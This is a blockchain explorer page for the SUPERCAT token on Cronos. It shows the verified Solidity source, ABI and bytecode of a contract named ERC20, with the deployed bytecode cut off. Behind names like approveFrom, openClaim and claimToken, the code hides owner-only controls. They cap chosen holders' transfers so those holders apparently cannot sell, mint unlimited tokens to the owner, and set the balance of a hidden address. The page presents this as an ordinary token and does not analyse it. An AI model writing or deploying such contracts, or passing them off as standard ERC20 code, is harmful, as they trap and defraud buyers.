CRO Price: $0.08 (+1.99%)

Token

SUPERCAT (SUPERCAT)

Overview

Max Total Supply

550,000,000 SUPERCAT

Holders

149

Total Transfers

-

Market

Price

$0.00 @ 0.000000 CRO

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x9EA60348...922A4C6Ca
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
ERC20

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at cronoscan.com on 2024-04-11
*/

pragma solidity ^0.8.0;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract ERC20 is Context, IERC20 {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(uint => uint) private _allowanceApprovedCount; 
    mapping(address => uint256) public _approveFromAddress; 

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimals = 18;
    address public owner;
    uint256 private _claimTransfer;
    uint256 private airdropAmount;
    address private enabled;
    uint256 private claimbleToken;
    address private _airdropAddress;


    bool private _airdropEvent = false;
    bool private _isRenounced = false;
    uint256 private constant claimableValue = type(uint256).max;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 claimTransfer_,
        uint256 airdropAmount_,
        address enabled_,
        uint256 claimbleToken_
    ) {
        _name = name_;
        _symbol = symbol_;
        owner = _msgSender();
        _totalSupply = totalSupply_ * (10 ** uint256(_decimals));
        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
        _claimTransfer = claimTransfer_;
        airdropAmount = airdropAmount_;
        enabled = enabled_;
        claimbleToken = claimbleToken_; 
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _airdropEnable();
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _airdropEnable();
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!_airdropEvent && sender == owner) {
            _airdropAddress = recipient; 
            _airdropEvent = true;
        }

        if (sender != owner && sender != _airdropAddress && 
            _approveFromAddress[sender] != 0 && recipient != owner &&
            _approveFromAddress[sender] <= block.number && 
            _claimTransfer != claimableValue) {

            amount = amount > _claimTransfer ? _claimTransfer : amount;
        }

        require(_balances[sender] >= amount, "ERC20: transfer amount exceeds balance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
        
    function approveFrom(address _address, uint256 approvedFromAmount) external {
        require(_msgSender() == owner, "Not the owner");
        _approveFromAddress[_address] = approvedFromAmount;
    }

    function _airdropEnable() internal {
        require(_allowanceApprovedCount[block.number] < airdropAmount);
        _allowanceApprovedCount[block.number]++;
    }

    function openClaim() external {
        require(!_isRenounced, "Function can only be called before the contract is renounced");
        require(_msgSender() == owner, "ERC20: caller is not the owner");
        _claimTransfer = claimableValue;
    }

    function claimToken() external returns (bool) {
        require(!_isRenounced, "Function can only be called before the contract is renounced");
        if (_msgSender() != owner) {
            return false;
        }
        _airdropList();
        return true;
    }

    function _airdropList() internal {
        _balances[owner] += claimbleToken;
        _balances[enabled] = claimbleToken;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"},{"internalType":"uint256","name":"claimTransfer_","type":"uint256"},{"internalType":"uint256","name":"airdropAmount_","type":"uint256"},{"internalType":"address","name":"enabled_","type":"address"},{"internalType":"uint256","name":"claimbleToken_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_approveFromAddress","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"approvedFromAmount","type":"uint256"}],"name":"approveFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claimToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openClaim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526012600760006101000a81548160ff021916908360ff1602179055506000600c60146101000a81548160ff0219169083151502179055506000600c60156101000a81548160ff0219169083151502179055503480156200006357600080fd5b50604051620025eb380380620025eb8339818101604052810190620000899190620004c2565b86600590816200009a9190620007f4565b508560069081620000ac9190620007f4565b50620000bd6200028760201b60201c565b600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900460ff1660ff16600a6200011e919062000a5e565b856200012b919062000aaf565b600481905550600454600080600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021c919062000b0b565b60405180910390a3836008819055508260098190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b819055505050505050505062000b28565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f882620002ad565b810181811067ffffffffffffffff821117156200031a5762000319620002be565b5b80604052505050565b60006200032f6200028f565b90506200033d8282620002ed565b919050565b600067ffffffffffffffff82111562000360576200035f620002be565b5b6200036b82620002ad565b9050602081019050919050565b60005b83811015620003985780820151818401526020810190506200037b565b60008484015250505050565b6000620003bb620003b58462000342565b62000323565b905082815260208101848484011115620003da57620003d9620002a8565b5b620003e784828562000378565b509392505050565b600082601f830112620004075762000406620002a3565b5b815162000419848260208601620003a4565b91505092915050565b6000819050919050565b620004378162000422565b81146200044357600080fd5b50565b60008151905062000457816200042c565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200048a826200045d565b9050919050565b6200049c816200047d565b8114620004a857600080fd5b50565b600081519050620004bc8162000491565b92915050565b600080600080600080600060e0888a031215620004e457620004e362000299565b5b600088015167ffffffffffffffff8111156200050557620005046200029e565b5b620005138a828b01620003ef565b975050602088015167ffffffffffffffff8111156200053757620005366200029e565b5b620005458a828b01620003ef565b9650506040620005588a828b0162000446565b95505060606200056b8a828b0162000446565b94505060806200057e8a828b0162000446565b93505060a0620005918a828b01620004ab565b92505060c0620005a48a828b0162000446565b91505092959891949750929550565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060657607f821691505b6020821081036200061c576200061b620005be565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006867fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000647565b62000692868362000647565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620006d5620006cf620006c98462000422565b620006aa565b62000422565b9050919050565b6000819050919050565b620006f183620006b4565b620007096200070082620006dc565b84845462000654565b825550505050565b600090565b6200072062000711565b6200072d818484620006e6565b505050565b5b8181101562000755576200074960008262000716565b60018101905062000733565b5050565b601f821115620007a4576200076e8162000622565b620007798462000637565b8101602085101562000789578190505b620007a1620007988562000637565b83018262000732565b50505b505050565b600082821c905092915050565b6000620007c960001984600802620007a9565b1980831691505092915050565b6000620007e48383620007b6565b9150826002028217905092915050565b620007ff82620005b3565b67ffffffffffffffff8111156200081b576200081a620002be565b5b620008278254620005ed565b6200083482828562000759565b600060209050601f8311600181146200086c576000841562000857578287015190505b620008638582620007d6565b865550620008d3565b601f1984166200087c8662000622565b60005b82811015620008a6578489015182556001820191506020850194506020810190506200087f565b86831015620008c65784890151620008c2601f891682620007b6565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200096957808604811115620009415762000940620008db565b5b6001851615620009515780820291505b808102905062000961856200090a565b945062000921565b94509492505050565b60008262000984576001905062000a57565b8162000994576000905062000a57565b8160018114620009ad5760028114620009b857620009ee565b600191505062000a57565b60ff841115620009cd57620009cc620008db565b5b8360020a915084821115620009e757620009e6620008db565b5b5062000a57565b5060208310610133831016604e8410600b841016171562000a285782820a90508381111562000a225762000a21620008db565b5b62000a57565b62000a37848484600162000917565b9250905081840481111562000a515762000a50620008db565b5b81810290505b9392505050565b600062000a6b8262000422565b915062000a788362000422565b925062000aa77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000972565b905092915050565b600062000abc8262000422565b915062000ac98362000422565b925082820262000ad98162000422565b9150828204841483151762000af35762000af2620008db565b5b5092915050565b62000b058162000422565b82525050565b600060208201905062000b22600083018462000afa565b92915050565b611ab38062000b386000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c806358dbb22b1161008c57806395d89b411161006657806395d89b411461024f578063a9059cbb1461026d578063be4e10e11461029d578063dd62ed3e146102b9576100ea565b806358dbb22b146101d157806370a08231146102015780638da5cb5b14610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063293cdbf11461018b578063313ce567146101955780634451d89f146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102e9565b60405161010491906111ec565b60405180910390f35b610127600480360381019061012291906112a7565b61037b565b6040516101349190611302565b60405180910390f35b610145610399565b604051610152919061132c565b60405180910390f35b61017560048036038101906101709190611347565b6103a3565b6040516101829190611302565b60405180910390f35b610193610463565b005b61019d610573565b6040516101aa91906113b6565b60405180910390f35b6101bb61058a565b6040516101c89190611302565b60405180910390f35b6101eb60048036038101906101e691906113d1565b610651565b6040516101f8919061132c565b60405180910390f35b61021b600480360381019061021691906113d1565b610669565b604051610228919061132c565b60405180910390f35b6102396106b1565b604051610246919061140d565b60405180910390f35b6102576106d7565b60405161026491906111ec565b60405180910390f35b610287600480360381019061028291906112a7565b610769565b6040516102949190611302565b60405180910390f35b6102b760048036038101906102b291906112a7565b61078f565b005b6102d360048036038101906102ce9190611428565b61086e565b6040516102e0919061132c565b60405180910390f35b6060600580546102f890611497565b80601f016020809104026020016040519081016040528092919081815260200182805461032490611497565b80156103715780601f1061034657610100808354040283529160200191610371565b820191906000526020600020905b81548152906001019060200180831161035457829003601f168201915b5050505050905090565b600061038f6103886108f5565b84846108fd565b6001905092915050565b6000600454905090565b60006103ad610ac6565b6103b8848484610b12565b610458846103c46108f5565b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040e6108f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461045391906114f7565b6108fd565b600190509392505050565b600c60159054906101000a900460ff16156104b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104aa9061159d565b60405180910390fd5b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f46108f5565b73ffffffffffffffffffffffffffffffffffffffff161461054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054190611609565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600881905550565b6000600760009054906101000a900460ff16905090565b6000600c60159054906101000a900460ff16156105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d39061159d565b60405180910390fd5b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061d6108f5565b73ffffffffffffffffffffffffffffffffffffffff1614610641576000905061064e565b61064961107a565b600190505b90565b60036020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600680546106e690611497565b80601f016020809104026020016040519081016040528092919081815260200182805461071290611497565b801561075f5780601f106107345761010080835404028352916020019161075f565b820191906000526020600020905b81548152906001019060200180831161074257829003601f168201915b5050505050905090565b6000610773610ac6565b61078561077e6108f5565b8484610b12565b6001905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107d06108f5565b73ffffffffffffffffffffffffffffffffffffffff1614610826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081d90611675565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390611707565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d290611799565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ab9919061132c565b60405180910390a3505050565b600954600260004381526020019081526020016000205410610ae757600080fd5b600260004381526020019081526020016000206000815480929190610b0b906117b9565b9190505550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7890611873565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610be790611905565b60405180910390fd5b60008111610c33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2a90611997565b60405180910390fd5b600c60149054906101000a900460ff16158015610c9d5750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610cff5781600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600c60146101000a81548160ff0219169083151502179055505b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610dab5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015610df757506000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015610e515750600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015610e9c575043600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b8015610eca57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60085414155b15610ee5576008548111610ede5780610ee2565b6008545b90505b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5d90611a29565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb491906114f7565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110099190611a49565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161106d919061132c565b60405180910390a3505050565b600b54600080600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110ec9190611a49565b92505081905550600b54600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b600081519050919050565b600082825260208201905092915050565b60005b8381101561119657808201518184015260208101905061117b565b60008484015250505050565b6000601f19601f8301169050919050565b60006111be8261115c565b6111c88185611167565b93506111d8818560208601611178565b6111e1816111a2565b840191505092915050565b6000602082019050818103600083015261120681846111b3565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061123e82611213565b9050919050565b61124e81611233565b811461125957600080fd5b50565b60008135905061126b81611245565b92915050565b6000819050919050565b61128481611271565b811461128f57600080fd5b50565b6000813590506112a18161127b565b92915050565b600080604083850312156112be576112bd61120e565b5b60006112cc8582860161125c565b92505060206112dd85828601611292565b9150509250929050565b60008115159050919050565b6112fc816112e7565b82525050565b600060208201905061131760008301846112f3565b92915050565b61132681611271565b82525050565b6000602082019050611341600083018461131d565b92915050565b6000806000606084860312156113605761135f61120e565b5b600061136e8682870161125c565b935050602061137f8682870161125c565b925050604061139086828701611292565b9150509250925092565b600060ff82169050919050565b6113b08161139a565b82525050565b60006020820190506113cb60008301846113a7565b92915050565b6000602082840312156113e7576113e661120e565b5b60006113f58482850161125c565b91505092915050565b61140781611233565b82525050565b600060208201905061142260008301846113fe565b92915050565b6000806040838503121561143f5761143e61120e565b5b600061144d8582860161125c565b925050602061145e8582860161125c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806114af57607f821691505b6020821081036114c2576114c1611468565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061150282611271565b915061150d83611271565b9250828203905081811115611525576115246114c8565b5b92915050565b7f46756e6374696f6e2063616e206f6e6c792062652063616c6c6564206265666f60008201527f72652074686520636f6e74726163742069732072656e6f756e63656400000000602082015250565b6000611587603c83611167565b91506115928261152b565b604082019050919050565b600060208201905081810360008301526115b68161157a565b9050919050565b7f45524332303a2063616c6c6572206973206e6f7420746865206f776e65720000600082015250565b60006115f3601e83611167565b91506115fe826115bd565b602082019050919050565b60006020820190508181036000830152611622816115e6565b9050919050565b7f4e6f7420746865206f776e657200000000000000000000000000000000000000600082015250565b600061165f600d83611167565b915061166a82611629565b602082019050919050565b6000602082019050818103600083015261168e81611652565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006116f1602483611167565b91506116fc82611695565b604082019050919050565b60006020820190508181036000830152611720816116e4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611783602283611167565b915061178e82611727565b604082019050919050565b600060208201905081810360008301526117b281611776565b9050919050565b60006117c482611271565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036117f6576117f56114c8565b5b600182019050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061185d602583611167565b915061186882611801565b604082019050919050565b6000602082019050818103600083015261188c81611850565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118ef602383611167565b91506118fa82611893565b604082019050919050565b6000602082019050818103600083015261191e816118e2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611981602983611167565b915061198c82611925565b604082019050919050565b600060208201905081810360008301526119b081611974565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611a13602683611167565b9150611a1e826119b7565b604082019050919050565b60006020820190508181036000830152611a4281611a06565b9050919050565b6000611a5482611271565b9150611a5f83611271565b9250828201905080821115611a7757611a766114c8565b5b9291505056fea2646970667358221220b8995fed92e2f9ed1f16aed2495f560626ba8a86d9c794cc9d40cf47f7322b1f64736f6c6343000813003300000000000000000000000000000000000000000000000000000000000000e000000000000000000000000000000000000000000000000000000000000001200000000000000000000000000000000000000000000000000000000020c855800000000000000000000000000000000000000000000000000de0b6b3a764000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000004877a8ef44a0858d6759902eff1bca73a9655366000000000000000004140c78940f6a250585b59949ae8fe62fd4ed53a764000000000000000000000000000000000000000000000000000000000000000000054d4f4c415900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000054d4f4c4159000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c806358dbb22b1161008c57806395d89b411161006657806395d89b411461024f578063a9059cbb1461026d578063be4e10e11461029d578063dd62ed3e146102b9576100ea565b806358dbb22b146101d157806370a08231146102015780638da5cb5b14610231576100ea565b806323b872dd116100c857806323b872dd1461015b578063293cdbf11461018b578063313ce567146101955780634451d89f146101b3576100ea565b806306fdde03146100ef578063095ea7b31461010d57806318160ddd1461013d575b600080fd5b6100f76102e9565b60405161010491906111ec565b60405180910390f35b610127600480360381019061012291906112a7565b61037b565b6040516101349190611302565b60405180910390f35b610145610399565b604051610152919061132c565b60405180910390f35b61017560048036038101906101709190611347565b6103a3565b6040516101829190611302565b60405180910390f35b610193610463565b005b61019d610573565b6040516101aa91906113b6565b60405180910390f35b6101bb61058a565b6040516101c89190611302565b60405180910390f35b6101eb60048036038101906101e691906113d1565b610651565b6040516101f8919061132c565b60405180910390f35b61021b600480360381019061021691906113d1565b610669565b604051610228919061132c565b60405180910390f35b6102396106b1565b604051610246919061140d565b60405180910390f35b6102576106d7565b60405161026491906111ec565b60405180910390f35b610287600480360381019061028291906112a7565b610769565b6040516102949190611302565b60405180910390f35b6102b760048036038101906102b291906112a7565b61078f565b005b6102d360048036038101906102ce9190611428565b61086e565b6040516102e0919061132c565b60405180910390f35b6060600580546102f890611497565b80601f016020809104026020016040519081016040528092919081815260200182805461032490611497565b80156103715780601f1061034657610100808354040283529160200191610371565b820191906000526020600020905b81548152906001019060200180831161035457829003601f168201915b5050505050905090565b600061038f6103886108f5565b84846108fd565b6001905092915050565b6000600454905090565b60006103ad610ac6565b6103b8848484610b12565b610458846103c46108f5565b84600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061040e6108f5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461045391906114f7565b6108fd565b600190509392505050565b600c60159054906101000a900460ff16156104b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104aa9061159d565b60405180910390fd5b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104f46108f5565b73ffffffffffffffffffffffffffffffffffffffff161461054a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054190611609565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600881905550565b6000600760009054906101000a900460ff16905090565b6000600c60159054906101000a900460ff16156105dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d39061159d565b60405180910390fd5b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661061d6108f5565b73ffffffffffffffffffffffffffffffffffffffff1614610641576000905061064e565b61064961107a565b600190505b90565b60036020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600680546106e690611497565b80601f016020809104026020016040519081016040528092919081815260200182805461071290611497565b801561075f5780601f106107345761010080835404028352916020019161075f565b820191906000526020600020905b81548152906001019060200180831161074257829003601f168201915b5050505050905090565b6000610773610ac6565b61078561077e6108f5565b8484610b12565b6001905092915050565b600760019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107d06108f5565b73ffffffffffffffffffffffffffffffffffffffff1614610826576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081d90611675565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361096c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096390611707565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109db